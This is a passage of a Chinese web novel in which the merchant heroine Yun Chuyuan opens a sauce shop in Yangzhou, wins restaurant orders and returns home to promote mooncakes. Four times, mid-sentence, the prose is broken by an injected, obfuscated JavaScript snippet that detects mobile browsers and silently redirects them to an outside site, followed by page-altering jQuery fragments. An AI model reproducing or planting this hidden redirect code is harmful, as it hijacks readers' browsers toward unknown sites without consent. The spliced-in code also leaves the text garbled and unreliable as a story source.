之前,赚了钱的百姓们顶多在吃食上花些银子,给他们发工钱的云楚沅相当于左口袋出、右口袋进。 随着越来越多的铺子出现,百花齐放,百姓们的消费方式变多了,其他商家也能分一杯羹,算是共赢了。等到宋记入驻临海县,大家的消费水平将会达到空前绝后的地步。 “云姐姐,你是不是无聊了,我带了话本子给你解闷。”青竹见云楚沅一副神游天外的样子,以为她是出行的喜悦退却后无所事事了,便将大人叫他准备的东西拿了出来。 想到这里,青竹不免有些感慨,他家大人何时对女子如此上心过,他的包袱里装满了应急药物和一些小玩意,都是大人亲自准备的,青竹用脚趾头想都知道这是给谁的。 云楚沅被拉回了注意力,她翻看起了青竹拿出来的几本游记,里面描绘了江南的自然风光与人文景观,还有作者亲身经历的各种故事,为人津津乐道。 “青竹,还是你想的周到,去江南之前可以从书上多了解一下。”云楚沅翻着书页,阅读上面的文字。 青竹可不敢抢自家大人的功劳,立马说道:“云姐姐,这是裴大人专门为你准备的。” 云楚沅脸上露出一个大大的笑容:“啧,这小书生还挺体贴,有做贤内助的潜质。” “东家,快到午时了,我给你送干粮来了。” 马车外传来李小硕的声音,云楚沅掀开帘子,接过他递来的囊,“大伙儿需要停下来用饭吗?” 骑在马上的李小硕摇摇头:“都是群汉子,不讲究那些,还是尽快赶路为好。” 云楚沅探头看了看,伙计们都在干巴巴地吃饼,随口对付两下,于是她从马车里拿出了一个罐子,“小硕,这是我自己做的下饭酱,你和他们分着吃吧。” 李小硕接了过去,打开一看,是一罐香辣虾皮酱,他掰下一块馍蘸了点酱料塞进嘴里,咸鲜微辣,爽脆开胃,十分下饭。 “东家,这酱料味道不错,怎么没在海味坊售卖?”李小硕一边说着,一边将酱料分给虎视眈眈、直咽口水的伙计们。 云楚沅没想到这人 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16063567|177545||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 比她还有事业心,笑着说道:“加工坊在做了,除了这个香辣虾皮酱,还有香菇干贝酱和麻辣鱼肉酱,是酱料的新系列——下饭酱。” 李小硕看着伙计们争抢虾皮酱的样子,眼神放光,“东家,这下饭酱绝对会受常年在外奔波的商队的欢迎,大家就能摆脱只吃干粮的折磨了。” “当然了,这可是居家旅行的必备品。” 云楚沅又拿出了一小罐香菇干贝酱和麻辣鱼肉酱,她预料到路上伙食不好,所以早早准备了许多酱料,用来下饭。 打开罐子,深褐色的香菇末与金黄色的干贝碎混在一起,里面还有蒜蓉、花生碎以及星星点点的茱萸。 另一罐麻辣鱼肉酱红彤彤的,油光包裹着细碎的鱼肉、金黄的姜末、焦褐的花椒,辛香扑鼻。 云楚沅将馍馍从中间掰开,用筷子抹上一层喷香的香菇干贝酱,一口咬下去,油润鲜香,让难以下咽的馍变得格外美味。 青竹倒了一碗清水,将馍馍掰成小碎块放入水中,再舀上两勺麻辣鱼肉酱,做成了泡馍,他一口接着一口,根本停不下来。 “云姐姐,这下饭酱果真名副其实。”青竹舔了舔嘴角回味着辣酱的滋味。 李小硕眼巴巴地看着马车里的两人,小声说道:“东家,可否也让我们尝尝其他两样。” 鼓着腮帮子的云楚沅一转头,对上马车外好几双眼睛,差点被呛到,“咳咳,你们还没离开啊。” 青竹立马递过来一杯水,云楚沅将嘴里吃着的东西顺了下去。 李小硕不好意思地挠了挠头:“抱歉,东家,这几个馋嘴的家伙没吃够。” 云楚沅十分大方地将罐子给了他们:“没事,我带了不少,这些就都给你们吧。” “多谢东家!”嗓音洪亮的王二牛立马挤开李小硕,伸手就去拿离自己最近的麻辣鱼肉酱,动作快得像是怕别人跟他抢似的,“瞧瞧这辣酱,看着就带劲,我可得多来几勺。” “哎哎哎,别急呀,这还有香菇干贝酱呢,咱们轮流吃呗。”旁边的张四赶紧舀了一大勺酱倒进自己的碗里,故意堆得高高的,仿佛是在炫耀。 其他没抢到酱罐子的人很是不高兴,离得近的孙小六提高音量嚷嚷道:“这是东家赏给大伙的,肯定要平分。这样吧,每人先舀一勺,如何?”他嘴上这么说着,手里的勺子却偷偷伸向了酱罐,想先给自己盛上一份。 后头的汉子立马大声反对:“不行!我胃口大,一勺哪够啊?必须得多来几勺!” 云楚沅撑着下巴,笑意盈盈地看着众人争抢,两个罐子在几人的手里轮番传递,像是在抢什么宝物一般,“哈哈,区区一个下饭酱就能让他们反目成仇吗?” 话虽然有些夸张,但有两个脾气火爆的大汉已经争得面红耳赤、衣衫不整了。 李小硕看着眼前的闹剧,立刻出声阻止:“诶诶诶,都停手,我来分配,再抢你们就给我滚回去。” 云楚沅见李小硕一出声就控制住了局面,暗暗点头,他瞧着体型瘦弱,气势可不弱,商队的负责人就该这般强硬。 66. 江南水乡 薄雾如轻纱般笼罩着官道,一辆简朴的马车缓缓驶向扬州城,云楚沅探出窗外,城墙巍峨耸立,护城河畔垂柳依依。 “东家,我们到扬州了。”李小硕驾马靠近马车,指了指城门口排起的长队,“进城要检查文书,您先下车吧。” 云楚沅戴上一个遮面的帷帽,在青竹的搀扶下走出马车,她一落地便感受到了来自四面八方的打量。 “哎哟,我的钱袋呢?哪个杀千刀的小贼偷了我娘的救命钱!” 突然,队伍里出现了一阵搔乱,云楚沅循声望去,一对母子神色慌张地在身上四处翻找,显然是丢东西了。 城外人多眼杂,很可能有浑水摸鱼之人,虽说他们商行一行人打扮朴素,可好几辆马车拉着的货物瞒不过人,必须要小心警惕。 云楚沅提高音量,对青竹说道:“弟弟,去把箱子里咱自家做的酱料拿给我瞧瞧,可别闷坏了。” 低着头的青竹听明白了她的意思,他小步走到装货的马车旁,掀开了一个箱子,顿时,他感受到许多探究的视线紧盯着箱子里的东西。 青竹不慌不忙地打开一个罐子,浓郁的酱香味飘了出来,他捧着陶罐走向云楚沅,欣喜地说道:“姐姐,咱这酱还没坏。” “没坏便好,这可是咱给舅舅的见面礼。”云楚沅叹了口气,“唉,咱们带着叔伯们举家来投奔舅舅,也不知道他欢不欢迎。” 简单几句话就将他们描绘成了打秋风的穷酸亲戚,以此来打消别人的窥探欲,而且云记商行的伙计们许多都是渔民出身,一个个面黑如碳,确实像整日下地劳作的农民。 出现了丢钱的人,排队进城的百姓们都有些草木皆兵,彼此之间隔着一段距离,不敢和他人有过多接触。 守城士兵查验过关牒后才能放行,轮到云楚沅时,门军指了指她的帷帽,“掀起垂纱来,我看看这照身帖上的人是不是你。” 云楚沅缓缓掀起面纱一角,却不料刚好有一阵风吹来,将她的真容暴露在了众目睽睽之下。 “嘶,那位小娘子长的真标志呀。” “怎么,你想去招惹人家?也不看看她身后跟着多少位叔叔伯伯。” “啧,这种落魄人家的姑娘就是需要一名威武的男子给她一个家,我就很合适!” “你可拉倒吧,你家的母老虎同意你养外室吗?” 听着身后传来窸窸窣窣的议论声,云楚沅暗叫倒霉,躲过了窃贼,怕是躲不过色狼了。 “云姑娘。” 城门内的路旁,一个小厮打扮的男子朝着云楚沅的方向挥了挥手,云楚沅抬眼便看到了站在他旁边摇着折扇的宋少爷。 云楚沅表情一变,作出一副泫然欲泣的样子,左手扶着帷帽,右手提着裙摆,摇摇晃晃地奔向宋明轩,嘴里还嚷嚷着:“舅舅!” 城门附近的众人瞬间被吸引了目光,看着四目相对的俊男靓女,纷纷露出好奇的神色,嘿,这对舅舅和外甥女瞧着年岁相差不大呀。 宋明轩原本惬意摇扇子的动作一顿,嘴角抽搐,手指指着面前的女子,结结巴巴道:“你……你叫我什么?” 云楚沅绞着手指,可怜兮兮地与他对视,“舅舅,你不愿意收留我们吗?我可是千里迢迢给你带来了好东西。” 这时,李小硕带着伙计们驾着马车顺利入城,宋明轩注意到了那一车车货物,也顾不上与云楚沅纠结称呼的问题了,立马喜笑颜开,“哎哟,我盼着的酱料总算来了,赶紧带回去。” 云楚沅和宋明轩上了同一辆马车,一行人浩浩荡荡地离开了,留在原地刚进城的百姓不明所以,这位舅舅是有多爱吃酱啊,竟然愿意收留外甥女家的十几号人。 城内街道宽敞平坦,青石板路锃光发亮,两侧有卖包子、卖糖画、卖面人、卖木簪等引人驻足的摊位,还有茶肆酒肆、玉器铺、胭脂铺、绸缎庄等各式各样的商铺。 吆喝声、叫卖声此起彼伏,茶香、酒香、脂粉香等气味混合在一起飘进了马车里。 “哇,这扬州城可真繁华呀。”云楚沅只觉得目不暇接,蠢蠢欲动,想要亲自下去逛一逛。 宋明轩仿佛看透了她的想法,出声道:“何必下去和旁人挤呢?想要什么我叫小厮去买。” 云楚沅撇了撇嘴,心想,你这大少爷哪里能懂她这个平民想凑热闹的心思。 不过,小厮买来的特色小吃味道真不错,皮薄馅足的三丁包子、味道鲜香的翡翠烧卖、香甜松软的豆沙方糕、绵软甜润的千层油糕。 马车绕着扬州城走了一圈,云楚沅吃得心满意足,这扬州城内商贾云集,码头有许多船只往来,亭台楼阁鳞次栉比,处处都透着富庶与烟火气。 不多时,他们便到了目的地,一座位于幽静小巷的院落,门口早有宋家的仆从等候多时,他们见马车停稳,赶忙上前迎接。 “云姑娘,这是我宋家的院子,专门腾出来给你们居住。” 云楚沅跟在宋明轩的身后逛了逛,这处庭院面积不小,四周回廊环绕,还有假山和池塘供人观赏,“多谢宋少爷。” 待云楚沅挑好房间将随身携带的包袱放下,宋明轩说道:“云姑娘,我带你去看看为你准备的铺子吧。” 云楚沅点了点头:“好。” 两人早就约定好,宋明轩会腾出一间铺子给云记用,虽然她会给宋家铺子供货,但也不耽误她自己卖。 除此之外,蚝油这种基础调味料可以售给食肆和酒楼,零食也可以卖给娱乐场所和准备开宴会的富贵人家。 这样就不适合零售了,而是需要双方签下大单子,甚至还会长期合作,所以云楚沅打算在江南开的云记海味坊,相当于一家批发店。 云记商行运来的这批货里有一半是给宋家的,剩下的都是云楚沅准备自己卖的,等她的酱料、零食、干货吸引到大客户签订单后,她便返回临海县。 令云楚沅十分惊喜的是,宋明轩给她的店铺不仅位于繁华地带,而且还是两层楼,一楼整齐排列着货架,二楼有雅间可以商谈生意。 “怎么样,还满意吗?”宋明轩带云楚沅挨个房间参观,“这里原本是座生意不错的茶楼,如今送给你卖酱料算是便宜你了。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16068229|177545||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “宋少爷,您真是个慷慨大方的好人,谢谢,谢谢。”云楚沅笑眯了眼,这里的后院有好几个库房,后门连通到另一条街,马车可以在那里卸货。 “云记海味坊的牌匾我都给你挂好了,明日你就可以开业。” 云楚沅激动得双手抓住宋明轩的袖子,左右晃了晃,兴奋地说道:“宋大哥,你可太贴心了,妹妹感激不尽啊。” 宋明轩抽出袖子,高高抬起下巴,“哼,我不是你舅舅吗?” “哎哟,咱们宋少爷可是芝兰玉树、风华正茂的翩翩少年,我说错话了。”云楚沅不停拍着马屁,把宋大少爷哄的嘴角都要压不住笑。 “行了,我知道你是出门在外怕被人盯上,才想和我扯上关系的。不过,舅舅就不必了,都把我叫老了,日后你便称呼我宋大哥吧。” 云楚沅双眼发亮,能和江南首富攀上关系,她也是有出息了,那她以后做生意也算有靠山了。 “宋大哥,你是我异父异母的亲哥哥呀,妹妹还需要您多多提携呢!” 看着云楚沅这副谄媚的样子,宋明轩心里乐开了花,他一想到下次见面那位冷冰冰的裴县令也该叫他一声大哥,宋明轩就暗爽不已。 夜幕降临,宋少爷精心筹备了一场接风洗尘之宴。宴席设在湖畔的富春楼中,席间丝竹之声袅袅升起,乐师们拨弄着琵琶和古筝,弹奏出动人的曲调。 雕花窗棂外潺潺流水,波光粼粼的湖面映照着屋内满桌的珍馐佳肴。 上座坐着一位容光焕发的中年男子,他声如洪钟:“这位姑娘便是犬子提到的颇有经商头脑的云记东家吧。” 云楚沅起身行了一礼:“见过宋老爷,小女子是从临海县来的云楚沅。” 宋老爷爽朗笑道:“哈哈,云姑娘快请坐吧,早就听闻姑娘聪明伶俐,今日一见果然非同一般。冒昧地问一句,姑娘可曾婚配?” 宋老爷之所以如此激动,都是因为他无意间得知自己不近女色的儿子竟和姑娘有书信来往,虽说是生意上的合作伙伴,可那也让他高兴不已。 云楚沅回道:“我还不曾嫁人。” 宋明轩见他爹还想说什么,立马出声:“云姑娘虽未嫁人,可人家已经有了未婚夫婿了。” 宋老爷神色有些遗憾:“原是如此。” 宋明轩连忙转移话题:“爹,别闲聊了,云姑娘肯定都饿了,咱们赶紧开饭吧!” 宋老爷点头说道:“对对对,云姑娘,先用饭吧。” 桌上摆满了淮扬名菜,清炖蟹粉狮子头圆润饱满、味道鲜美、肥而不腻;文思豆腐细若发丝、鲜滑爽嫩、入口即化;扬州炒饭色泽金黄、粒粒分明;松鼠鳜鱼刀工精细、造型别致、外酥里嫩、口味酸甜。 云楚沅一边品尝,一边点头,这摆盘、这雕花、这刀工,该说不说,有些银子该人家赚的。 宋明轩将琼浆玉液缓缓倒入酒杯中,起身敬上一杯,“云姑娘,欢迎你来到扬州。” 云楚沅浅笑盈盈地微微颔首,她轻抿一口美酒,双眸亮了起来,滑过喉咙的酒液带着果香,丝滑醇厚。 67. 订单爆满 听宋老爷讲述扬州城的风土人情和趣闻轶事,从瘦西湖边的佳人才子到园林里的树木景观,再到茶楼里的评弹婉转,云楚沅原本因长途跋涉而升起的疲惫全被驱散了。 “云姑娘,你可一定要多待几日,让明轩带着你好好游玩一番。” 云楚沅对这个提议十分心动,可想到小弟和小妹,她这个念头又打消了,“唉,我要在中秋之前赶回家,只能在扬州逗留三四天,下次有机会再玩吧。” 云老爷算了算日子,遗憾地说道:“中秋佳节确实该和家人共度,等你下回带着家人一起来扬州,我再好好招待你们。” 云楚沅笑了笑:“多谢云老爷。” 宋明轩稍稍一想,便明白肯定是裴县令叮嘱过她。这还没成家呢,就管的这么严,宋明轩都怕云楚沅成亲后不出来做生意了。 “云妹,这嫁人一事可要慎重。这男人啊,小心眼儿的很,成亲前和成亲后两副面孔,把你娶到手后,就会限制你的自由。” 宋明轩放下酒杯,微红的脸颊上带着醉意,他晃着脑袋、大着舌头,说起了裴昱臣的坏话,“那种文质彬彬的男子其实就是老古板,日后肯定要求你在家里相夫教子。” 云楚沅心里有些好笑,宋少爷这是还记着在临海县与裴昱臣的针锋相对呢,逮着机会就贬低他。 可宋明轩哪里知道,她和裴昱臣是合起伙来假扮未婚夫妻糊弄他的,云楚沅尴尬地低下头,避开了宋明轩的视线。 他们刚认了兄妹,还是不要告知他被欺骗的真相了,省得恼怒的宋少爷翻脸不认人。 日后他若是再问起,云楚沅便说她幡然醒悟,把裴昱臣这个未婚夫婿给踹了。 “宋大哥,你说的很有道理,我回去会仔细考虑的。” 宋老爷踢了醉醺醺的宋明轩一脚,怒骂道:“宁拆十座庙不毁一桩婚,你小子是真缺德啊。再胡说八道,我打断你的腿!” “嗷!”宋明轩揉着隐隐作痛的右腿,一下子醒酒了。 “你什么时候成了亲,再管别人的家事吧。”宋老爷气得吹胡子瞪眼。 “我错了,爹。”呲牙咧嘴的宋明轩赶忙告饶,接着他又看向云楚沅,“我方才说的都是醉话,云妹,你不要放在心上。” 云楚沅露出个“我懂”的眼神,“宋大哥,我理解你,你是怕婚后会变得束手束脚,没法再像从前一样到处跑。” 宋明轩偷偷瞧了一眼自家老爹难看的脸色,冲着云楚沅不停使眼色,示意她少说两句。 云楚沅仿佛是没看见一般,继续说道:“宋老爷,别生气,宋大哥这只是孩子心性,日后会改变的。” 宋老爷冷哼一声:“二十岁的孩子,我是不是还要给他办个周岁宴?” 瞧着宋明轩一脸憋屈的样子,云楚沅抬手遮住了嘴角的笑,她真是跟裴昱臣学坏了,要不然怎么会觉得耍人很好玩呢! 待宴席结束后,宋明轩带着他们乘坐乌篷船去游湖,船头悬着的灯笼,与水中倒影相映成趣,远山轮廓隐入夜空,近处荷叶碧盘滚珠。 云楚沅打开青竹带来的食盒,将里面切成小块的月饼拿了出来,“宋老爷,宋公子,中秋将至,我们云记即将推出一款莲蓉蛋黄月饼,请二位品鉴。” 这是她来赴宴之前做出来的月饼,目的就是为了让宋家与她合作售卖。 宋老爷有些惊讶,这位云姑娘想法还挺多,他拿起一块月饼塞进嘴里嚼了起来,还别说,这个新口味的月饼味道还真不赖。 宋明轩尝过后,也给出了好评,“云妹,你这个莲蓉蛋黄月饼有望与糖馅、果馅的传统月饼一较高下。宋记的铺子会一起帮你卖的。” 云楚沅说道:“借宋大哥吉言。” —— 翌日,位于东关街的云记海味坊开业了,虽然没有提前宣传,可鞭炮声还是吸引了不少百姓驻足。 “诶,这宋记的茶楼什么时候不干了?怎么换成海味坊了?” “前段时日就换了牌匾,听说宋家和人谈好了蟹黄酱的生意。” “蟹黄酱?是那价值千金、只有富贵人家才能吃得起的酱料?” “是啊,制作蟹黄酱的就是这个云记。走,进去瞧瞧,买不起蟹黄酱,咱们可以尝尝别的东西。” 坐在二楼饮茶的宋明轩看向对面的云楚沅,说道:“我这法子如何?派小厮混在人群中说两句话,便能引他们进来。” 云楚沅瞧着楼下络绎不绝的人,朝他竖起了大拇指,“还是宋少爷您厉害,这蟹黄酱都被你包装成了高级货了。” 宋明轩淡定地摇起了扇子:“等着瞧吧,马上就会有人来找你谈生意。” 云楚沅刚想问他是怎么知道的,门便被敲响了,李小硕的声音从外面传了进来,“东家,富春楼的掌柜来找您有事相商。” “富春楼?是昨晚咱们用饭的那家酒楼?”云楚沅惊讶地张大嘴。 宋明轩斜了她一眼:“收起你这蠢样。城中不少富商都听说过我和云记有合作的事,如今瞧见这云记海味坊开门了,自然想要一探究竟。” 云楚沅吩咐李小硕将富春楼的掌柜带到隔壁雅间,她稍后便去,“宋大哥,你和我说一说这富春楼什么背景啊?能成为扬州最有名的酒楼肯定不简单吧。” 宋明轩说道:“祖上富过,御厨后人开的酒楼,没什么权势。” “那就没人想要取而代之吗?”云楚沅疑惑道,湖畔可是个赏景的绝佳位置,难道就不会被人惦记吗? 宋明轩轻笑一声:“富春楼的牌匾是圣上提的字,还没有谁有那个胆子挑事。” 云楚沅点点头,算是对富春楼有了些了解,既然不是什么蛮横的权贵人家,那便可以合作。 她和人谈生意是为了赚银子的,可不是让别人吸血的,肯定要做好背调,那些权势滔天到可以无视律法的人,她当然是有多远躲多远,就比如杜家。 推开雅间的门,云楚沅见到了一位体型稍胖的中年男子,瞧着十分富态,“孔掌柜,有失远迎,小女子便是云记的东家,云楚沅。” 孔掌柜笑呵呵地起身回礼,对云记的东家是名女子一事没表现出意外,想来是提前调查过了。 “云老板, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16076249|177545||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 久仰大名,我们老爷特别爱吃蟹黄酱,他自己在家做的总是差点味道。” 听了孔掌柜的话,云楚沅心里有了数,开富春楼的姜老爷可能是为追求美食的老饕,所以才会上赶着来合作。 云楚沅面带笑意地说道:“我们海味坊不止有蟹黄酱,还有其他海鲜制品同样味美。” 孔掌柜点头说道:“我已经将您这铺子里的所有东西都买了一份给我家老爷尝过了,他赞不绝口,特别是蚝油。我们富春楼想研究新菜品,可一直觉得少了点韵味,有了这蚝油,定能让我们的菜肴增色不少。” “那您是想要多少蚝油?”云楚沅心里激动,表面却装作风轻云淡的样子。 谈生意最忌讳的便是情绪外露,这位孔掌柜笑得像是弥勒佛一样和蔼,云楚沅便端着一副大家闺秀的优雅模样,两人你来我往,签订好了契约。 “云老板,就这么说定了,每月为我们富春楼送一箱原味蚝油和一箱鲍汁蚝油,还有每种干货各一箱,咱们按月结账。”孔掌柜抚摸着大肚子,晃悠悠地向门口走去。 云楚沅把他送出门,顺便让李小硕拿来了两瓶蟹黄酱和两盒莲蓉蛋黄月饼,“孔掌柜,这是给您和姜老爷的一点心意,这月饼是我们云记即将推出的新口味,还请笑纳,希望我们合作愉快。” 孔掌柜笑眯了眼,他只听老爷念叨着蟹黄酱有多么好吃,他还从来没有尝过,这云老板当真是个豪爽人。 “哎哟,多谢云老板啊,我回去定会跟老爷美言两句,日后买酱料和干货就认准你们云记了。” 送走了孔掌柜,云楚沅还没回包厢,便又被李小硕叫住了,“东家,下面来了位李记食肆的掌柜,指名要见您。” “把人请上来吧。”云楚沅重新回到雅间,让人将桌上的热茶换成了新的。 短短半日的工夫,云楚沅和五家食肆签下了订单,他们都是冲着云记的酱料和干货来的。 合作的商户可能是觉得她和宋家有私交,也没出现想要占她便宜的情况,定价都在双方能够接受的范围内。 晚间,云楚沅还接待了一位青楼的老鸨,原因令她哭笑不得,她怎么也想不到自己的生意能做到青楼里去。 据说有名男子带着从云记买的鱿鱼丝去喝花酒,一边嚼着零食,一边欣赏花魁的舞姿,那副惬意的模样吸引了不少人。 有人腆着脸讨要了一根鱿鱼丝,结果就上头了,赶紧询问是从哪里买的,得到回答后都顾不上看姑娘,一溜烟地跑走了。 这一晚,青楼的热议话题不是花魁有多美,而是云记的零食有多好吃。 “哎哟,云老板呐,你都不知道我们花楼里今儿个的生意有多惨淡,好多姑娘都独守空闺呢~”老鸨甩了甩手里脂粉味浓重的帕子,幽怨地看着云楚沅。 云楚沅尬笑两声:“呵呵,这怎么能怪我?” 老鸨晃着身子发嗲:“我尝过你们云记的零食,可以当做不错的下酒菜。云老板,咱们明人不说暗话,价钱便宜些呗,我挣的都是辛苦钱。” 然而,铁石心肠的云楚沅一个铜板都没少收。 68. 返回临海县 签下了好几笔订单,云楚沅打算启程回临海县,海味坊安排的掌柜原先是在宋记管理铺子的,经营能力自是不用说。 “你这丫头,拿了我的铺子不够,还要从我这挖人。”宋明轩亲自将云楚沅送出了城,全身心都是这姑娘终于要走了的松弛感。 只因云楚沅在扬州待了短短五日,宋明轩却觉得度日如年。 她不是在他爹面前说些添油加醋的话,就是指使他做事,宋明轩自己做生意都不需要这么亲力亲为,却为她忙得团团转。 “宋大哥,咱俩谁跟谁啊,我把莲蓉蛋黄月饼的配方都交给你了,说明我对你是无比信任,你还跟我计较这些作甚?”云楚沅小巧的鼻子轻轻一皱,睫毛上下眨动,嘟着嘴唇,眼神委屈地看着宋明轩。 相处了几日,宋明轩多少对这姑娘有些了解,她看起来傻傻憨憨的,其实是个芝麻馅的,蔫儿坏,和那位远在临海县的裴县令简直如出一辙。 宋明轩看走了眼,第一次见面还以为云楚沅不怎么聪明,结果现在才发觉这丫头惯会卖乖,好听话层出不穷,他爹便被她哄得乐呵呵的,大手一挥,把云楚沅住过的那间院子直接送给了她。 “行行行,算我欠你的,你赶紧回去祸害裴县令吧,也就他受得了你。” 宋明轩一想起这两人你侬我侬的样子,浑身就起鸡皮疙瘩,什么锅配什么盖,这两人真是天造地设的一对! 云楚沅撅着嘴说道:“宋大哥,你不欢迎我吗?我还想着日后咱们常常见面,你会高兴呢。” 宋明轩结结巴巴道:“什……什么意思?” “来江南一趟我算是长见识了,这里的物价比临海县高多了,我卖货赚的银子是以前的好几倍。”云楚沅双手合十,两眼放光,眼神里满是憧憬,“我决定要在这里扎根了,正好宋伯伯给了我一个大院子,我可以把我家人接过来住。” 云楚沅越想越觉得自己这个想法很好,小弟可以送去书院念书,小妹想学刺绣,她可以请个绣娘上门来教她,江南的苏绣那可是名扬天下。 至于云楚沅,她会抽空跟着云记商队来回跑动,每月查一遍账就行,她手底下的人都是精挑细选的,完全能够独当一面。 宋明轩觉得意外,又觉得很合理,这丫头可是个闲不住的,想来扬州发展也算是情理之中,“那你家裴大人怎么办?你们二人成亲后要分隔两地吗?” 此刻的宋明轩倒有些同情某人了,爱上一个不着家的女子,怕是要孤枕难眠啊。 云楚沅甩了甩垂落在胸前的黑发,毫不在意地摆摆手,“宋大哥,你先前说的话我觉得很有道理,与其担忧日后被困于后宅,倒不如先和他掰了,这叫防患于未然。” 宋明轩变了脸色,冷汗自额角渗出,他浑身僵硬地站在那里,猛地咽了口唾沫,声音颤抖地说道:“云妹,我怕裴县令提剑来杀了我。” 倘若云楚沅回去说不成亲了,以裴县令那个性子,八成会把错怪到他头上,认定是他怂恿的,那他岂不是要被大卸八块。 云楚沅见宋明轩冷汗直冒的模样,乐得不行,故意说道:“哈哈,宋大哥,拯救小女子脱离苦海,你大功一件呀。” “……我不想要这份功劳,你能不能收回这个决定。”宋明轩心如死灰,他爹说得对啊,宁拆十座庙不毁一桩婚,偏偏他喝醉了嘴上没个把门的,什么话都往外说。现在好了,他成了破坏别人亲事的大恶人。 云楚沅拍着宋明轩的肩膀安慰道:“放心吧,裴昱臣不能擅自离开临海县,不会来找你寻仇的。” 欲言又止的宋明轩张了张嘴,长叹了一口气,“唉,但愿如此吧。” 此时,心存侥幸的宋明轩万万想不到他会那么快和裴昱臣再次见面,迎接他的不是一声“大哥”,而是一顿冷嘲热讽。 —— 紧赶慢赶,云楚沅终于在中秋前两天回到了临海县,街道上张灯结彩,很有节日的喜庆氛围,她来到商行,早就收到消息的李大强已经等候多时。 “东家,一路上辛苦了,快坐下歇歇。”李大强殷勤地奉上茶水点心,悄悄打量了一眼站在后面的表弟,他看起来心情不错,想必这一趟没出什么岔子。 云楚沅一边吃着糕点,一边让李小硕念念他们的交易单。 李小硕从怀里掏出一张纸:“回东家,我们总共带去了蚝油十箱、海鲜酱十箱……算上给宋家的货,一共卖出去九成,扬州城的铺子里只剩下一成了,急需补货。” 这一长串的话听得李大强目瞪口呆,虽然他预料过他们此行也许会顺利,但没想到能顺利到这种程度。 笑容满面的云楚沅满意地点了点头,原本她是想将那一半货放在扬州的分店慢慢卖,可江南的百姓们太给力了,把海味坊货架上的东西买了个遍,仿佛是淘到了一家宝藏店铺,花起银子来丝毫不手软。 “小硕,你去清点一下订单上的货,抓紧时间组织另一批人出发。”云楚沅拿出列好的单子交给李小硕。 为了让云记商行的伙计们有充足的休整时间,他们分成了两个小队,轮流送货。 “好的,我马上就去。”李小硕领命后匆匆离开了,其他伙计能休息,他这个负责人却不行。 不过云楚沅给李小硕发了双倍月钱,以此来鼓励他。 李大强欣慰地看着表弟离开的背影,“东家,多谢您对小硕提携。” 云楚沅放下茶杯,笑着说道:“是他自己有本事,我不过是给了他一个机会。” 李大强恭维道:“那也是您慧眼识珠。” “好啦,别捧我了。我问你,月饼准备的怎么样了?上架之后反响如何?”云楚沅问出了她目前最关心的事,中秋前十几日便会有月饼出售,她也早就吩咐好了尽早上架。 李大强犹豫着开口:“东家,买月饼的大都还会选择五仁馅的,咱们这新口味没多少人愿意尝试。” 云楚沅皱了皱眉:“你去将春香和小婉姐叫来,我问问是什么情况。” 莲蓉蛋黄月饼目前在云记食肆、湘香馆和海味坊售卖,按理说会有许多老顾客来光顾,不该销量不好啊。 “楚沅,你回来啦? ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16081667|177545||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ”钱春香一进门便惊喜地握住了云楚沅的手,左右打量了她一圈。 走在后面的萧小婉说道:“刚回来也不好好歇歇,就开始忙生意上的事了?” 云楚沅一只手拉一个,让她们坐在了身旁,“哎呀,觉什么时候都可以睡,可月饼也就这几天能卖。” 萧小婉说道:“我在铺子门口支了个小摊子摆放月饼,还安排了小二吆喝,可许多食客都是来吃饭的,很少愿意买月饼。” 钱春香接着道:“咱们食肆在柜台上摆满了月饼,有客人结账我便推销,却也没卖出去多少。” 李大强:“东家,我听说城内的几家点心坊知道咱们也要卖月饼,纷纷降价了,所以来云记买月饼的人不多。” 云楚沅思索了片刻:“他们搞优惠,我们也可以搞优惠,但是不要降价,搞个买五送一的活动。李大强,你去让人把月饼重新包装,五仁、豆沙、枣泥、冰糖、蜜饯各一个,再赠送一个莲蓉蛋黄月饼,弄成全家福套餐。” 然后她又看向萧小婉和钱春香,“咱们的优势是有新口味,这一点一定要大力宣传,你们回去将莲蓉蛋黄月饼切成小块,邀请路过的百姓免费试吃。” 